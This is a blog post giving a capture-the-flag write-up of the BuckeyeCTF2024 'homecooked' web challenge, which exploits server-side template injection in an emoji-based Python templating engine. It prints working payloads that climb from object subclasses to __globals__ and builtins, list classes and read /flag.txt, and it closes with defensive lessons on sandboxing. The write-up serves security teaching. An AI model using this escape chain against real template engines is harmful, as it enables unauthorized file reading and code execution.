Post

BuckeyeCTF2024 web/homecooked

My solution for BuckeyeCTF2024 web/homecooked challenge

Challenge overview

Homecooked

The Homecooked challenge is a web application which uses a unique templating engine named Meal. The target endpoint is /chef, where users can interact with the Chef Creator, an online IDE that facilitates writing Meal templates. These templates are rendered on the server side using the Meal templating engine, and the application fails to properly sanitize the input, leading to security vulnerabilities.

Application structure

  • Meal is a templating language used within the framework that relies on emojis for control structures, making it similar to Jinja2 in concept but visually distinct.
  • The Chef module is implemented as a sub-router, responsible for handling file uploads, processing Meal templates, and rendering them back to users.

Analysis

Upon examining the Chef functionality, a few critical features stand out:

  • Meal template processing: When a user uploads a Meal template through the /upload endpoint, it is saved to a temporary directory. The /download/{filename} endpoint retrieves this file and renders it using TemplateResponse.from_string(), which means the Meal engine processes the content directly.

  • Meal templating engine: This custom engine interprets Meal templates, which are similar to other templating languages but replace common operators and syntax with emojis (e.g., 🍴, πŸ₯’).

The Meal interpreter lacks sufficient sandboxing, allowing templates to access Python internals. By abusing certain special attributes, an attacker can access built-in classes and execute arbitrary commands.

Identifying the vulnerabilities

  1. Improper restriction on built-ins The Meal templating engine allows templates to access class and subclasses() attributes. These attributes are extremely powerful, as they can be used to list all subclasses of an object, including sensitive system-related classes.

  2. Use of from_string() in template rendering The rendering function, TemplateResponse.from_string(), does not provide sufficient input validation or context isolation, leading to a scenario where user-supplied content can execute arbitrary Python code.

Crafting the exploit

Accessing subclasses
To exploit the vulnerability, the first step was to list all subclasses of Python’s base object, using the following payload:

1
2
3
πŸ΄πŸ” idx 🍟 rangeπŸ¦€lenπŸ¦€''πŸ₯š__class__πŸ₯š__base__πŸ₯š__subclasses__πŸ¦€πŸ¦žπŸ¦žπŸ¦ž πŸ₯„
    πŸ₯’ idx πŸ₯’ : πŸ₯’ ''πŸ₯š__class__πŸ₯š__base__πŸ₯š__subclasses__πŸ¦€πŸ¦žπŸŽidx🍏πŸ₯š__name__ πŸ₯’<br>
πŸ₯„πŸ΄

This payload iterates over all subclasses and outputs their names, helping identify classes that could be leveraged for arbitrary code execution.

Reading sensitive files
The exploit proceeds to identify the MealManager class (at index 555), which exposes access to globals Using this, the attacker can access Python built-ins and open files:

1
πŸ₯’ ''πŸ₯š__class__πŸ₯š__base__πŸ₯š__subclasses__πŸ¦€πŸ¦žπŸŽ555🍏πŸ₯š__init__πŸ₯š__globals__🍎'__builtins__'🍏🍎'open'πŸπŸ¦€'/flag.txt'🦞πŸ₯šreadπŸ¦€πŸ¦ž πŸ₯’

This payload successfully reads the content of /flag.txt, demonstrating an arbitrary file read vulnerability.

Flag:bctf{m4yb3_i_5h0uld_t3st_n3w_f34tur35}

Conclusion

The challenge exploits weaknesses in the custom Meal templating engine. The lack of proper sandboxing in the templating engine allows malicious users to access dangerous Python attributes and execute arbitrary code, ultimately leading to the exposure of sensitive files.

Key takeaways

  • Sandboxing matters: When building a custom template engine, it is crucial to restrict access to Python’s internal methods and attributes. Proper sandboxing can prevent attackers from escalating privileges or gaining access to sensitive objects.
  • Input validation and restriction: Avoid exposing dangerous functionality, such as the ability to directly access special attributes or the global namespace, when processing user inputs.
  • Template rendering caution: Be careful when using from_string() or similar methods that execute code based on user input. Always sanitize inputs to ensure they cannot execute unintended commands.
This post is licensed under CC BY 4.0 by the author.